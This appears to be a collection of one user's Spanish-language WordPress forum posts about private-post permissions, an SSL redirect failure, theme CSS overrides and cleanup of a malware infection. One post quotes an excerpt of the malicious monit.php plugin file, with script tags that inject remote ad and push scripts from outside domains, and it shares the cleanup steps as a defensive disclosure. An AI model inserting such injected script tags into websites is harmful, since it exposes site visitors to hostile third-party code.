edugimeno

Ok, si, en este rato he empezado a poner en práctica lo que me has dicho, he creado un usuario nuevo, especifico, que solo tiene permiso «read-private-posts» y cuando cree todos los usuarios lo haré con este perfil (será una importación en lote de 1000 usuarios, no habrá proceso de registro on-line porque es un club)

Estoy ptobando y parece que va bien, cuando accedes a links directos a entradas privadas te da un «parece que no hay nada por aqui», me vale.

Muchas gracias!

Me respondo a mi mismo, por si alguien llegara aquí en el futuro con el mismo problema.
Me ha llamado alguien del soporte técnico del hosting y el problema efectivamente estaba de su lado. El problema ha sido que se ha dado de baja (no saben por qué) el certificado SSL, y como tenemos forzada una redirección a HTTPS, acaba siempre dando error.

Cuando he entrado a cambiar en BD el siteurl a http, ha vuelto a funcionar, mientras vamos recontratando el certificado SSL.

Saludos

El problema es que la web no la he construido yo ni tengo backup de antes de la inefccion y no sé hasta qué punto es seguro todo el proceso que viene ahí.
De cualquier manera, creo que lo tengo.

(Por si a alguien le ha pasado lo mismo y llega aqui por este malware):
En wp-content/plugins había un fichero monit.php que definitivamente tenía el código malicioso:

[…]
$ad_code=’
<script type=»text/javascript» src=»//ofgogoatan.com/apu.php?zoneid=3260072″ async data-cfasync=»false»></script>
<script src=»https://pushsar.com/pfe/current/tag.min.js?z=3260077″ data-cfasync=»false» async></script>
<script type=»text/javascript» src=»//inpagepush.com/400/3324386″ data-cfasync=»false» async=»async»></script>
‘;
{…}
Además había un fichero admin_ips.txt que asumo que es desde qué IP’s se permite administrar remotamente este script
He borrado ambos y he borrado la entrada con «option_name=AD_CODE» de WP_OPTIONS

A partir de ahí he recargado la página varias veces y el AD_CODE no ha vuelto a aparecer.
Además he vuelto a escanear la web con los servicios online que antes me daban «malware» y ya me da «limpio».
Sé que puede haber quedado una puerta abierta a posibles inyecciones futuras, estaré pendiente, pero al menos ahora mismo está limpio, y ya tengo alguna pista.

Saludos

Increible lo que hace el saber de verdad, no por prueba y error.
Pues clavao! Ya puedes verlo, muchas gracias José Luis, un abrazo

Vale, definitivamente me quedo con esta plantilla, porque ya la he avanzado suficiente para querer cambiarla
Solo me gustaría cambiar una cosa. El cliente quiere centrar el menú. Ahora mismo el menú y los enlaces a redes sociales (y carrito) están en el mismo contenedor.
Para poder centrar el menú, debe estar sólo por si mismo, y los enlaces en otro contenedor. Al estilo de esta web: SingularOlivia
Es complicado mover de sitio un bloque entero? Imagino que esto ya no es añadir una linea de CSS….

Gracias!

Ok pues por ahora me mantengo usando el Css Adicional. Como tengo todas las personalizaciones por ahora ahí juntas, ya investigaré al final, si me quedo con esa plantilla, si muevo todo a un Child Theme o no.

Hay cosas que no consigo sobreescribir, no sé por qué.
Por ejemplo, el site-header, en el personalizador del tema solo me deja subir hasta 50px. He ido a sobreescribirlo con el CSS Adicional, poniendo:

.site-title {
    font-size: 80px;
}

y no me lo cambia. Con el inspector de CSS de chrome veo que el mio me sale POR DEBAJO del origunal de 50px, con lo que el mio sale tachado. Es como si leyera el mio ANTES que el original, con lo que el original sobreescribe al mio en vez de alrevés

Sin saber mucho de ello, he añadido IMPORTANT! al atributo, y no solo no cambia nada, sino que el inspector de CSS me da un warning de que no es válido…
Alguna idea?

Gracias!!!

• Esta respuesta fue modificada hace 3 años, 11 meses por edugimeno.

Pues es «sorprendente» porque en su web (link) uno de los tags que mencionan es «full width»… Por eso, entre otras cosas, lo elegí.

Si te digo la verdad, al final cuando uno trabaja un poco un plantilla la acaba cogiendo el gusto y cuando personalizas algo y te cuesta más deshacerte del trabajo
He quitado bastante padding en varios elementos (no me gusta el desperdicio de espacio que traen muchas de serie), y por ahora, no a veo tan mal
Ya sé que la teoría dice hacer un child theme pero cuando miré el «howto» me pareció algo complejo, estoy haciendo los cambios del css en el apartado de «CSS Adicional» de la configuración del template, eso esta demasiado mal??

GRACIAS!